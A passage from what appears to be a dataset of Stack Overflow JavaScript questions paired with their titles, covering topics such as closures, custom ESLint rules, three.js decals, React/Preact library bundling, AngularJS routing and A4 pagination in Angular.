have Design Header as another TaskList . Each TaskList contain Tasks . How will a typical javascript template look like for this problem . I could not come with one that works this scenario . This problem is as same as N level nested Menu , how would you render it using templating library.btw if anyone has asp.net solution ( Ideas for this let me hear them ) , N level deep nesting is the thing i am unable to overcome right now . < div > { { # Projects } } < div > < b > { { ProjectName } } < /b > < /div > < ul > { { # TaskList } } < li > { { TaskListName } } { { CreatedBy } } The Problem Comes here - How do i Render a # TaskList here < /li > { { /TaskList } } < /ul > { { /Projects } } < /div >",Javascript Templates - Deep nesting is it possible "JS : I 'm having a little difficulty with the inherent concept of a closure . I get the basic idea , but here 's the thing : I thought that , technically , there `` is a closure '' inside every Javascript function . To quote wikipedia : In computer science , a closure ( also lexical closure , function closureor function value ) is a function together with a referencingenvironment for the nonlocal names ( free variables ) of that function.Such a function is said to be `` closed over '' its free variables.So since you can define variables inside a function , they are `` closed off '' to the rest of your code , and so I see that as a closure . Thus , as I understand it : Is a ( not very useful ) example of a closure . Or heck , even just this : But , I think my understanding might be wrong . Others are telling me that for something to be a closure it has to persist a state , and so since nothing persists beyond that code it 's not really a closure . That suggests that you need to have : or even ( to ensure un-modifiability ) : So , technically speaking ( I know several of the examples are practically speaking pointless , but ) which of the above examples are actually examples of closures . And does a closure just have to be a space ( ie . inside a JS function ) where variables can be stored that ca n't be accessed form outside , or is persistence a key part of a closure 's definition ? EDITJust noticed the wiki definition for the `` closures '' tag on Stack Overflow : A closure is a first-class function that refers to ( closes over ) variables from the scope in which it was defined . If the closure stillexists after its defining scope ends , the variables it closes overwill continue to exist as well.While the SO wiki is certainly no final authority , the first sentence does seem to correlate with my understanding of the term . The second sentence then suggests how a closure can be used , but it does n't seem like a requirement.EDIT # 2In case it is n't clear from the varying answers here , the wikipedia answer , and the tag answer , there does not seem to be a clear consensus on what the word `` closure '' even means . So while I appreciate all the answers so far , and they all make sense if you go with the author 's definition of closure , what I guess I 'm really looking for is ... is there any actual `` authoritative '' definition of the word ( and then if so , how does it apply to all of the above ) ? ( function ( ) { var a = 1 ; } ( ) ) function ( ) { var a = 1 ; } function ( foo ) { foo.a = 1 ; } ( bar ) ; // bar.a = 1 function ( foo ) { var a = 1 ; bar.baz = function ( ) { return a } } ( bar ) ; // bar.baz ( ) = 1",Does a ( JS ) Closure Require a Function Inside a Function "JS : The Story and Motivation : We have a rather huge end-to-end Protractor test codebase . Sometimes it happens that a test waits for a specific fix to be implemented - usually as a part of a TDD approach and to demonstrate how a problem is reproduced and what is the intended behavior . What we are currently doing is using Jasmine 's pending ( ) with a Jira issue number inside . Example : Now , we 'd like to know when we can rename the pending ( ) back to it ( ) and run the test . Or , in other words , when the issue AP-1234 is resolved or sent to testing . The Current Approach : At the moment , I 'm trying to solve it with a custom ESLint rule , jira NodeJS module , and Q . The custom ESLint rule searches for pending ( ) calls with at least one argument . Extracts the ticket numbers in format of AP- followed by 4 digits and uses jira.findIssue ( ) to check its status in Jira . If status is Resolved - report an error.Here is what I 've got so far : Where getTicket ( ) is defined as : The problem is : currently , it successfully extracts the ticket numbers from the pending ( ) calls , but does n't print ticket statuses . No errors though.The Question : The general question is , I guess , would be : can I use asynchronous code blocks , wait for callbacks , resolve promises in custom ESLint rules ? And , if not , what are my options ? A more specific question would be : what am I doing wrong and how can I use Node.js jira module with ESLint ? Would appreciate any insights or alternative approaches . pending ( `` Missing functionality ( AP-1234 ) '' , function ( ) { // some testing is done here } ) ; `` use strict '' ; var JiraApi = require ( `` jira '' ) .JiraApi , Q = require ( ' q ' ) ; var jira = new JiraApi ( `` https '' , `` jira.url.com '' , `` 443 '' , `` user '' , `` password '' , `` 2 '' ) ; module.exports = function ( context ) { var jiraTicketRegex = /AP\-\d+/g ; return { CallExpression : function ( node ) { if ( node.callee.name === `` pending '' & & node.arguments.length > 0 ) { var match = node.arguments [ 0 ] .value.match ( jiraTicketRegex ) ; if ( match ) { match.forEach ( function ( ticket ) { console.log ( ticket ) ; // I see the ticket numbers printed getTicket ( ticket ) .then ( function ( status ) { console.log ( status ) ; // I do n't see statuses printed if ( status === `` Resolved '' ) { context.report ( node , 'Ticket { { ticket } } is already resolved . ' , { ticket : ticket } ) } } ) ; } ) ; } } } } } ; function getTicket ( ticket ) { var deferred = Q.defer ( ) ; jira.findIssue ( ticket , function ( error , issue ) { if ( error ) { deferred.reject ( new Error ( error ) ) ; } else { deferred.resolve ( issue.fields.status.name ) ; } } ) ; return deferred.promise ; }",Asynchronous code in custom ESLint rules "JS : When I try to get the whole font style of an element with IE or Firefox with the following code I only get a empty result , but with Chrome and Opera I get `` normal normal bold normal 20px/normal arial '' as I would have expected . Wyh does this happen and how do I get the complete font property otherwise ? FIDDLE : http : //jsfiddle.net/mwj12xkv/ < ! -- HTML -- > < div id= '' test '' style= '' font : bold 20px arial ; color : red ; '' > test < /div > // JSalert ( $ ( ' # test ' ) .css ( 'font ' ) ) ;",Getting font css property does not work in IE and Firefox with jQuery JS : What is this for : And why should I want to use it ? arr.length > > > 0,What is this line doing ? arr.length > > > 0 "JS : I 'm trying to achieve this effect.I used the pen by Nikolay Talanov for the reveal effect , I 've tried to make the edges of the revealing circle blurry using box shadow to make it look closer to the wanted effect but is not quite similar.Anyone has another solution or approach to make it look the same ? https : //codepen.io/dlarkiddo/pen/RxMaVvCss Js < div class= '' background '' > < div class= '' reveal '' > < /div > < /div > html , body { font-size : 62.5 % ; height : 100 % ; overflow : hidden ; } .background { position : relative ; height : 100 % ; background : # 000000 ; padding : 20rem ; text-align : center ; background : url ( `` http : //www.wallpapers4u.org/wp-content/uploads/paper_patterns_backgrounds_textures_lines_36212_1920x1080.jpg '' ) 50 % 50 % no-repeat fixed ; } .reveal { z-index : 5 ; position : absolute ; top : calc ( 50 % - 10rem ) ; left : calc ( 50 % - 10rem ) ; width : 20rem ; height : 20rem ; background : url ( `` http : //gallery.hd.org/_exhibits/textures/text-sample-of-old-novel-DHD.jpg '' ) 50 % 50 % no-repeat fixed ; background-size : cover ; border-radius : 100 % ; box-shadow : 0 0 9em 10em # ffffff inset,0 0 9em 10em # ffffff ; } $ ( document ) .ready ( function ( ) { var $ reveal = $ ( `` .reveal '' ) , revealWHalf = $ reveal.width ( ) / 2 ; $ ( document ) .on ( `` mousemove '' , function ( e ) { $ reveal.css ( { `` left '' : e.pageX - revealWHalf , `` top '' : e.pageY - revealWHalf } ) ; } ) ; } ) ;",Reveal part of image with blurry/gradient edge on hover "JS : I 'm currently working an a project where I use the Q Library for promises with TypeScript.The newest Version of Q has the method Q.noConflict ( ) .For the typing I 'm using the .d.ts File from the DefinitelyTyped Repository.The typing does not support Q.noConflict ( ) . I tried several hours to rewrite the typing to support this method , but with no success.I would like to use the code Like this : Where myQ is of Type Q . But in the .d.ts Q is a module which has Interfaces as well as functions . That means I ca n't simply add something like this noConflict ( ) : Q.Here is the schema from the definition file ( not the whole file but with all relevant parts ) : declare function Q ( value : T ) : Q.Promise ; Of course I do n't expect to get the whole code but it would be great the get some hints from people who have already written some .d.ts files . var myQ = Q.noConflict ( ) ; declare module Q { interface IPromise < T > { then < U > ( onFulfill ? : ( value : T ) = > U | IPromise < U > , onReject ? : ( error : any ) = > U | IPromise < U > ) : IPromise < U > ; } interface Deferred < T > { promise : Promise < T > ; } interface Promise < T > { get < U > ( propertyName : String ) : Promise < U > ; } export function when ( ) : Promise < void > ; export function resolve < T > ( object : T ) : Promise < T > ; } declare module `` q '' { export = Q ; }",TypeScript Definition ( d.ts ) for Q `` noConflict ( ) '' "JS : I have this JS code which I think is equivalent to the PHP str_word_count ( ) function , but still they return different words counts.My JS code : outputs : 300My PHP code : outputs : 290What does the PHP str_word_count ( ) does n't count as word , which my JS code does ? Also can you suggest what to change so I can get same count for JS and PHP code ? //element f9 value is : '' Yes , for all people asking ? ? ? their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World 2015 we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World 2015 we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World 2015 ? we can confirm that now it is a great time to go to London for World 2015 '' var words = document.getElementById ( `` f9 '' ) .value.replace ( / ( [ ( \\\.\+\*\ ? \ [ \^\ ] \ $ \ ( \ ) \ { \ } \=\ ! < > \|\ : ] ) /g , `` ) ; words = words.replace ( / ( ^\s* ) | ( \s* $ ) /gi , '' '' ) ; words = words.replace ( / [ ] { 2 , } /gi , '' `` ) ; words = words.replace ( /\n / , '' \n '' ) ; words = words.split ( ' ' ) .length ; str_word_count ( `` Yes , for all people asking ? ? ? their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World 2015 we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World Travel Market 2015Yes , for all people asking their selfs Have you ever dreamed to visite World 2015 we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World Travel Market 2015 ? we can confirm that now it is a great time to go to London for World 2015Yes , for all people asking their selfs Have you ever dreamed to visite World 2015 ? we can confirm that now it is a great time to go to London for World 2015 '' )",Why php function str_word_count ( ) returns different count from js equivalent ? "JS : I ’ ve been writing unit tests in strongly typed languages and I have a fair good understanding about it . When writing unit tests in JavaScript to verify if certain functions are working properly in certain browsers I am back to the manual testing . I have no understanding of how it works . Because JavaScript is meant to close the gap between data and presentation and make it more interactive . And everything is happening within browsers and it 's more to do with UI . So I am assuming that if I were going to write a unit test I would write something like ( in pseudo code ) : Writing these tests seem like “ hard coding ” to me and what ’ s missing is that the tests wouldn ’ t be able to tell if it ’ s been rendered properly , it 's only doing the pure functional tests . So I am wondering if someone can explain to me what are the proper test procedures in JavaScript , how to do build automations and some general concepts in doing it . I was just looking at John Resig 's project testswarm but yet to figure out what it ’ s about . I am also reading about QUnit at the moment.I am looking for some introductory materials on the concepts/practices that can me started . I am not looking for specific libraries or tools unless they have good introduction on the concepts.Thanks . run function Acheck DOM if certain element has been created if not then failcheck if element is visible if not then failcheck for the content of that element if null then failetc…",General unit testing concepts/practices in JavaScript against different browsers ? "JS : I am trying to understand how to add decals to a mesh using THREE.DecalGeometryI am adding decals to the vertex on each face - face.a , I 've tried using the face normal and arbitrary Vector3 to define the direction for the decal.I can not understand why all the decals are not being created correctly . Where am I go wrong with the direction ? Is the face normal not correct ? This is the hotspot 64px x 64pxThis is how they are getting mapped ... Why are some decals stretched ? I have setup a JSFIDDLEEDIT : Using SphereBufferGeometry suggested by WestLangley , I am now happy that this solution will work for me . function addObjects ( ) { var geometry = new THREE.BoxGeometry ( 200 , 200 , 200 , 8 , 8 , 8 ) ; var material = new THREE.MeshLambertMaterial ( { color : 0xff0000 } ) ; cube = new THREE.Mesh ( geometry , material ) ; // addWireframeHelper ( cube , 0xffffff , 1 ) ; scene.add ( cube ) ; THREE.ImageUtils.crossOrigin = 'Anonymous ' ; var texture = THREE.ImageUtils.loadTexture ( 'http : //i.imgur.com/RNb17q7.png ' ) ; geometry.faces.forEach ( function ( face ) { var index = face.a ; var vertex = geometry.vertices [ index ] ; var direction = new THREE.Vector3 ( 0,1,0 ) ; addDecal ( cube , vertex , direction , texture ) ; } ) } function addDecal ( mesh , position , direction , texture ) { var size = 16 ; var decalGeometry = new THREE.DecalGeometry ( mesh , position , direction , new THREE.Vector3 ( size , size , size ) , new THREE.Vector3 ( 1,1,1 ) ) ; var decalMaterial = new THREE.MeshLambertMaterial ( { map : texture , transparent : true , depthTest : true , depthWrite : false , polygonOffset : true , polygonOffsetFactor : -4 , } ) ; var m = new THREE.Mesh ( decalGeometry , decalMaterial ) ; mesh.add ( m ) ; }",How to set correct direction for a decal using THREE.DecalGeometry "JS : I have a really simple React library that I use with my own state management . It 's just a Higher Order Component : I can publish the library this way and I will get a syntax error about being unable to parse < in the JSX.So I run the code through babelusing this webpack configthis is the dependency and publish section of my package.jsonI 'm using preact-compat per the website and still getting < undefined > < /undefined > https : //github.com/developit/preact-compat # usage-with-webpackCurrently , running this through babel outputs react in the library and my library and Preact labels any HOC that use this library as < undefined > < /undefined > IF I publish the un-babel 'd code and it is simply the source cope at the top written in new ECMAScript , I get an unable to parse error on the < in the JSX.However , if I were to reference the library NOT through node_modules but in a developer made files like myLibrary.js and use the un-babel 'd code , it works . How do I manage my dependencies correctly ? Should React be a peerDependecy ? Furthermore , how to get this library to work from the node_modules directory for BOTH React AND Preact ? import React from 'react ' ; /** * * @ param { Object } state - Reference to SubState instance * @ param { Object } chunk - object of props you want maps to from state to props */const connect = ( state , chunk ) = > Comp = > props = > { const newProps = { } ; for ( let key in chunk ) { newProps [ key ] = state.getProp ( chunk [ key ] ) ; } return ( < Comp { ... newProps } { ... props } / > ) } ; export { connect } //.babelrc { `` presets '' : [ `` @ babel/preset-env '' , '' @ babel/preset-react '' ] } const path = require ( 'path ' ) ; module.exports = { entry : './src/index.js ' , output : { path : path.resolve ( __dirname ) , filename : 'index.js ' , library : 'substateConnect ' , libraryTarget : 'umd ' } , module : { rules : [ { test : /\.js $ / , exclude : /node_modules/ , use : [ `` babel-loader '' ] } ] } , } `` devDependencies '' : { `` @ babel/core '' : `` ^7.0.0 '' , `` @ babel/preset-env '' : `` ^7.0.0 '' , `` babel-core '' : `` ^6.26.3 '' , `` babel-loader '' : `` ^8.0.2 '' , `` babel-preset-env '' : `` ^1.7.0 '' , `` babel-preset-react '' : `` ^6.24.1 '' , `` react '' : `` ^16.5.0 '' , `` react-dom '' : `` ^16.5.0 '' } , `` files '' : [ `` index.js '' , `` index.map '' , `` src/index.js '' ] , `` dependencies '' : { `` @ babel/preset-react '' : `` ^7.0.0 '' , `` substate '' : `` ^4.0.0 '' , `` webpack '' : `` ^4.17.2 '' , `` webpack-cli '' : `` ^3.1.0 '' }",Error with JSX in my React Library when Switching to Preact JS : They both will run the alertDemo if ( [ ] == false ) alert ( 'empty array is false ' ) ; alert ( + [ ] ) // alert 0if ( [ ] ) alert ( 'empty array is true ' ) ;,Why if ( [ ] ) is validated while [ ] == false in javascript ? JS : Why here we need to click two times ( http : //jsfiddle.net/xL8hyoye/4/ ) : html : css : # foo { display : none ; } js : When here only by one click text disappears ( http : //jsfiddle.net/xL8hyoye/5/ ) : html : css : < ! -- delete ccs here -- > js : < a href= '' # '' onclick= '' toggle_visibility ( 'foo ' ) ; '' > Click here to toggle visibility of element # foo < /a > < div id= '' foo '' > This is foo < /div > function toggle_visibility ( id ) { var e = document.getElementById ( id ) ; if ( e.style.display == 'none ' ) e.style.display = 'block ' ; else e.style.display = 'none ' ; } < a href= '' # '' onclick= '' toggle_visibility ( 'foo ' ) ; '' > Click here to toggle visibility of element # foo < /a > < div id= '' foo '' style='display : none ' > This is foo < /div > < ! -- add display style here -- > function toggle_visibility ( id ) { var e = document.getElementById ( id ) ; if ( e.style.display == 'none ' ) e.style.display = 'block ' ; else e.style.display = 'none ' ; },JS one-click Toggle ( not two clicks ) - default value of toggled element JS : I 'm trying to grab the values of all checked input options from a series of checkboxes and find if any of the checked values matches a specific string : elementsList does n't seem to be storing the values of the checked boxes . How do I resolve this ? JSFiddle function admissible ( ) { var b = 4 ; var answer = `` ; var elementsList = document.querySelectorAll ( `` # question5 '' + `` input : checked '' ) ; //get the selected checkbox values for the missing elements if ( elementsList.length > = 0 ) { //Code works only if some checkbox is checked if ( ( elementsList.indexOf ( `` photo '' ) > -1 ) || ( elementsList.indexOf ( `` name '' ) > -1 ) ) { //yes answer = 'yes ' ; } else { answer = 'no ' ; } } else { //display error : you must select a value } console.log ( answer ) ; } < div class= '' questionholder '' id= '' question5 '' > < div > < h5 > Select all elements < /h5 > < input class= '' input5 '' type= '' checkbox '' id= '' elementName '' name= '' element '' value= '' name '' > < label for= '' elementName '' > < p class= '' radioChoice '' > Name < /p > < /label > < input class= '' input5 '' type= '' checkbox '' id= '' elementPhoto '' name= '' element '' value= '' photo '' > < label for= '' elementPhoto '' > < p class= '' radioChoice '' > Photo < /p > < /label > < input class= '' input5 '' type= '' checkbox '' id= '' elementSignature '' name= '' element '' value= '' signature '' > < label for= '' elementSignature '' > < p class= '' radioChoice '' > Signature < /p > < /label > < /div > < div class= '' holdButtons '' > < a class= '' text2button '' onclick= '' admissible ( ) '' > Next < /a > < /div > < /div >,Trying to detect if any checked values contains a specific string "JS : I 'm currently facing an issue when importing aframe a-scene as a template in an Aurelia framework application.I tried to found help on related stackoverflow questions but none of them connects the dots together : since AFrame is based on Three.js this is the most similar issue I could find , however it has not been answered ( https : //github.com/mrdoob/three.js/issues/3091 ) .I integrated the AFrame scene in my home.html file as follows : imported aframe from my home.js otherwise the scene is not rendered : import 'aframe ' ; Now it seems that this import overrides some bootstrap scrolling functionality but I can not understand why.Note : some unexpected behaviors also happened with Google material design lite and aurelia material plugin ( https : //github.com/genadis/aurelia-mdl ) where in this case the AFrame scene is zoomed but the page-scroll still works.Here the github project for complete code : https : //github.com/dnhyde/aframe-aurelia.git < template > < a-scene > < a-sphere position= '' 0 1.25 -1 '' radius= '' 1.25 '' color= '' # EF2D5E '' > < /a-sphere > < a-sky color= '' # 000000 '' > < /a-sky > < a-entity position= '' 0 0 3.8 '' > < a-camera > < /a-camera > < /a-entity > < /a-scene > < /template >",A Frame Web VR prevents scrolling from bootstrap when imported as HTML template "JS : i am getting some datas from .txt with fs.readFile ( ) function but top of the content is like `` ? Alex libman '' My whole code ; Result ; Always , there is question mark at top of contentNote : my titles0.txt is line by line data fs.readFile ( __dirname+ '' /txts/generate/titles0.txt '' , `` utf-8 '' , function ( ex , titles ) { var titlesArr = titles.split ( `` \r\n '' ) ; console.log ( titlesArr ) ; } ) ; [ `` ? Alex libman '' , '' Kroya Barzo '' , '' Deliah Krbo '' ]",node.js readFile txt add question mark at top of content JS : I 've created a Facebook app that uses the chat api using the following structureAll works fine . My question is : Can I prevent other clients receiving messages once my app is connected ? to elaborate : if a user starts using my app to communicate he should not receive replies at the normal facebook chat ui.Can this be done ? Strophe.js < -- -- > Punjab < -- -- > Facebook XMPP,Facebook XMPP chat API - device priority JS : I want to know the difference between __proto__ and Object.create method . Take this example : This implies Object.create method creates a new object and sets __proto__ link to the object received as parameter.Why do n't we directly use __proto__ link instead of using create method ? var ob1 = { a:1 } ; var ob2 = Object.create ( ob1 ) ; ob2.__proto__ === ob1 ; // TRUE,Difference between proto link and Object.create "JS : In d3.js . I can read in a user-uploaded CSV file in my web app like this : This results in everything being read in as a string . However , I need to be able to treat numeric data types as numbers . If I knew the property names ahead of time , I could do something like this : However , as this is user-provided data , there 's no way to know the property names ahead of time . Is there a way to detect that the fields only contain numbers , then change the data type accordingly ? Perhaps some sort of conditional statement with a regex test or something ? The examples were adapted from this tutorial . d3.csv ( `` upload.csv '' , function ( data ) { console.log ( data [ 0 ] ) ; } ) ; d3.csv ( `` upload.csv '' , function ( data ) { data.forEach ( function ( d ) { d.population = +d.population ; d [ `` land area '' ] = +d [ `` land area '' ] ; } ) ; console.log ( data [ 0 ] ) ; } ) ;",Convert data types in d3.js without prior knowledge of property names ( detect if a string contains only digits ) "JS : Ran into an interesting issue . I was working on trying to toggle a boolean that was assigned to a variable . It was n't working and eventually I tried this code.I expected it to provide true in the console , but instead I got false . I figured that javascript would run the code inside the parenthesis first to find it 's value and then console.log the value . Could you please explain why I am not getting a true value in the console ? var status = false ; console.log ( ! status ) ;",console.log ( ! status ) in global scope producing unexpected result "JS : I am working on a project that uses the arrow keys as a form of focus handling , and am getting some major jank on my list scrolls . I recreated a -- JSFiddle -- to show what is going on , but it looks way better in the fiddle . I think this is because the elements I 'm redrawing with scrollTop are much more complex for my application . Is there a better way to do this without using scrollTop ? I understand that it is causing relayouts , and was curious if there was a better way . Here is the main code from the -- JSFiddle -- ** To try it out , make sure you click inside the fiddle output area so that the key events will trigger , then use the down/up arrows **I also need the scrollbar to work , so if the only better option is to use CSS3 transformY , I would have to build a custom scroller . function scroll ( ) { var focusedBox = focused.getBoundingClientRect ( ) ; if ( focusedBox.bottom > containerBox.bottom || focusedBox.top < containerBox.top ) { requestAnimationFrame ( function ( ) { var distance = focusedBox.height + 10 ; animate ( distance , focusedBox.top < containerBox.top ) ; } ) ; } } function animate ( distance , up ) { if ( distance > = speed ) { container.scrollTop += ( up ? -speed : speed ) ; requestAnimationFrame ( function ( ) { animate ( distance - speed , up ) ; } ) ; } else { container.scrollTop += ( up ? -distance : distance ) ; } }",Animating scrollTop in fixed height overflow without jank "JS : I 'm working with AngularJS $ stateProvider . To navigate in my application , users go from state to state , using this function : This allows to change state and load the new view without changing the URL ( location : false ) does the trick.However , when entering the application ( which happens in the page `` index.html '' ) , the displayed URL is `` myWebsite/index.html # /tab/index '' , the index being the first state of the application . My question is : how can I change it to display only `` myWebsite/index.html '' ? NOTE : at the moment , users ca n't use the back and forth buttons of their browsers to navigate since the location is set to false , so if a solution exists that would also solve this problem , I 'm interested.Here is the state declaration : I 'm not very familiar with single-page applications , and I do n't know if what I ask is even possible with this structure . If it 's not , I would be very happy to know what is the best alternative . $ rootScope.gotoState = function ( stateName ) { $ state.go ( stateName , { } , { location : false } ) ; } ; angular.module ( 'ionicApp ' , [ 'ionic ' , 'ngCookies ' ] ) .config ( function ( $ stateProvider , $ urlRouterProvider , $ ionicConfigProvider ) { $ ionicConfigProvider.tabs.position ( 'top ' ) ; // values : bottom , top $ stateProvider .state ( 'tabs ' , { url : `` /tab '' , abstract : true , templateUrl : `` templates/tabs.html '' } ) .state ( 'tabs.index ' , { url : `` /index '' , cache : false , views : { 'index-tab ' : { templateUrl : `` home.html '' } } } ) .state ( 'tabs.profile ' , { url : `` /profile '' , cache : false , views : { 'profile-tab ' : { templateUrl : `` profile.html '' } } } ) $ urlRouterProvider.otherwise ( `` /tab/index '' ) ; } ) .run ( function ( $ rootScope , $ state , $ location ) { $ rootScope. $ state = $ state ; $ rootScope. $ location = $ location ; $ rootScope.gotoState = function ( stateName ) { $ state.go ( stateName , { } , { location : false } ) ; } ; } )",Hide current state name in URL with AngularJS $ stateProvider JS : I have removed script-src : 'unsafe-eval ' from my CSP headers for security purposes . I have noticed this now broke Google Charts . The chart now fails to render and displays the error : Any ideas or is Google just blowing it and allowing unsafe-eval in their libraries ? I had the same problem with their Maps and had to go with a different library . Invalid JSON string : { },Google Charts unsafe-eval "JS : I have a monorepo structure of my project like this : where I have the babel config file in the root of my project and the packages a-something and b-something.Inside package a-something I have the following webpack config : Inside the package a-something I have the following package.json : My root package.json has the following dependencies : and lastly my Dockerfile inside package a-something is : When I run npm run prod : build and npm run prod : start the bundle is built successfully , however when I build the docker ( where the context is the root folder ) I get the following npm error : My host machine OS is macOS Mojave . Maybe the symlinks generated by Lerna are handled differently on Debian ( used by node image ) ? UPDATE : the issue was resolved by moving all babel related npm packages from devDependencies to dependencies section of root package.json . Does anyone have an idea why this would solve the problem ? babel.config.js a-something b-something const path = require ( 'path ' ) module.exports = { target : 'node ' , entry : './src/index.js ' , output : { filename : 'bundle.js ' , path : path.resolve ( __dirname , 'build ' ) } , devtool : 'source-map ' , module : { rules : [ { test : /\.js ? $ / , use : { loader : 'babel-loader ' , options : { rootMode : 'upward ' } } , include : [ path.resolve ( __dirname , 'src ' ) , /node_modules\/a-/ , /node_modules\/b-/ ] } ] } } { `` name '' : `` a-something '' , `` version '' : `` 1.0.0 '' , `` description '' : `` '' , `` main '' : `` index.js '' , `` scripts '' : { `` prod : build '' : `` webpack -- config webpack.config.js '' , `` prod : start '' : `` node build/bundle.js '' } , `` author '' : `` '' , `` license '' : `` ISC '' , `` dependencies '' : { `` express '' : `` ^4.16.2 '' , `` graphql '' : `` ^14.5.8 '' , `` graphql-request '' : `` ^1.8.2 '' , `` graphql-tag '' : `` ^2.10.1 '' , `` b-something '' : `` ^1.0.0 '' , `` node-fetch '' : `` ^2.6.0 '' , `` sitemap '' : `` ^5.0.0 '' } , `` devDependencies '' : { `` webpack '' : `` 3.5.6 '' , `` @ babel/polyfill '' : `` 7.7.0 '' } } `` @ babel/cli '' : `` ^7.5.5 '' , '' @ babel/core '' : `` ^7.5.5 '' , '' babel-loader '' : `` 8.0.6 '' FROM node:10.15.1COPY ./package.json /src/package.jsonENV PORT 3000ENV NODE_ENV productionWORKDIR /srcRUN npm installCOPY ./lerna.json /src/lerna.jsonCOPY ./packages/a-something/package.json /src/packages/a-something/package.jsonCOPY ./packages/b-something/package.json /src/packages/b-something/package.jsonRUN npm run cleanCOPY . /srcWORKDIR /src/packages/a-somethingRUN npm run prod : buildRUN echo `` FINISHED BUILDING ! '' EXPOSE $ { PORT } CMD [ `` npm '' , `` run '' , `` prod : start '' ] ERROR in Entry module not found : Error : Ca n't resolve 'babel-loader ' in '/src/packages/a-something'npm ERR ! code ELIFECYCLEnpm ERR ! errno 2npm ERR ! a-something @ 1.0.0 prod : build : ` webpack -- config webpack.config.js ` npm ERR ! Exit status 2npm ERR ! npm ERR ! Failed at the a-something @ 1.0.0 prod : build script .",Why is my webpack bundle successfully built on host machine but is not in docker container ? "JS : I 'm reading this article ( http : //javascript.info/tutorial/memory-leaks # memory-leak-size ) about memory leaks which mentions this as a memory leak : JavaScript interpreter has no idea which variables may be required by the inner function , so it keeps everything . In every outer LexicalEnvironment . I hope , newer interpreters try to optimize it , but not sure about their success.The article suggests we need to manually set data = null before we return the inner function . Does this hold true today ? Or is this article outdated ? ( If it 's outdated , can someone point me to a resource about current pitfalls ) function f ( ) { var data = `` Large piece of data '' ; function inner ( ) { return `` Foo '' ; } return inner ; }",Do we manually need to clean up unreferenced variables in a closure ? "JS : What are the functional differences between the following two Javascript prototypes , and are there any benefits for choosing one over the other ? Option 1 : Option 2 : Am I correct in assuming that Option 2 results in trashing certain functions that are implicitly bound to the prototype ? Person.prototype.sayName = function ( name ) { alert ( name ) ; } Person.prototype = { sayName : function ( name ) { alert ( name ) ; } }",Defining a Javascript prototype "JS : I am trying to create something like in Xing the CV maker - > https : //lebenslauf.com/.I do have different Arrays of Objects.But I am not able to create the A4 pages which will render the data and if the array it is larger than one page create new page A4 and add data there.The function needs to be so if the array is larger for one size , then create a new page a4 and put the data there.In the stackblitz I have added an array and some random text and designed an A4 letter.I referred to this question and answer , but did n't help me too much.CSS to set A4 paper size.I tried to fake pagination and to create A4 sizes but did n't work.I looked in this code with jquery there . It works , but I am unable to compile it in Angular.https : //jsfiddle.net/tm637ysp/10/Can someone help me here ? I have created two projects in stackblitz . Maybe they will help.https : //stackblitz.com/edit/angular-ivy-fjhpdu.https : //stackblitz.com/edit/angular-ivy-uzmdwgI wanted to reopen this question because the approved answer from @ HirenParekh it does n't work as I wanted.The problem it is now , If the text in one Object it is very large it wont add a new page in a realtime , but only if I reload the page.I think that the code will be for add new page or edit page will be rendered only in ngOnInit.The directive that is provided to do that job , I think it is not working as excepted.Here is the stackblitz what he tried to help me.https : //stackblitz.com/edit/angular-ivy-zjf8rvThis is the code I am trying to show data.This is the CSSThis is the jsonAnd this is the Paginated view class for adding new page and splitting pages < div style= '' transition : transform 0.25s ease 0s ; transform : scale ( 1.3 ) ; transform-origin : 50 % 0px 0px ; backface-visibility : hidden ; perspective : 1000px ; display : block ; margin : 0px 11.5385 % ; font-size:10px ; width : 76.9231 % ; -webkit-font-smoothing : antialiased ; '' > < app-paginated-view [ pageSize ] = '' 'A4 ' '' *ngIf= '' model '' class= '' Grid-grid-column '' > < div pageContent class= '' row '' > < div class= '' col col-lg-7 '' > < h4 > { { currentUser ? .firstName } } { { currentUser ? .lastName } } < /h4 > < /div > < div class= '' col text-right '' > < input type= '' file '' accept= '' image/* '' ( change ) = '' readUrl ( $ event ) '' > < img [ src ] = '' url '' ( change ) = '' readUrl ( $ event ) '' height= '' 128 '' style= '' cursor : pointer '' > < /div > < /div > < div pageContent class= '' Unit-unit-unitGroup '' *ngFor= '' let personalData of model.personalData ; let id = index '' > < div pageContent [ ngClass ] = '' { 'isCatActive ' : selectedCategory === category.PersonalData } '' > < ng-container *ngIf= '' selectedCategory === category.PersonalData '' clickOutside ( clickOutside ) = '' removeClick ( ) '' > < ul > < li class= '' fa fa-plus addIconTop '' ( click ) = '' openDialog ( ) '' > < /li > < li class= '' fa fa-plus addIconBottom '' ( click ) = '' openDialog ( ) '' > < /li > < li class= '' fa fa-trash deleteIconRight '' ( click ) = '' deleteCategory ( index ) '' > < /li > < li class= '' fa fa-arrow-down moveIconDown '' > < /li > < li class= '' fa fa-arrow-up moveIconTop '' > < /li > < /ul > < /ng-container > < div pageContent class= '' col-md-12 '' ( click ) = '' setCategory ( category.PersonalData ) '' > < div class= '' row height '' > < div class= '' col-md-4 col-sm-6 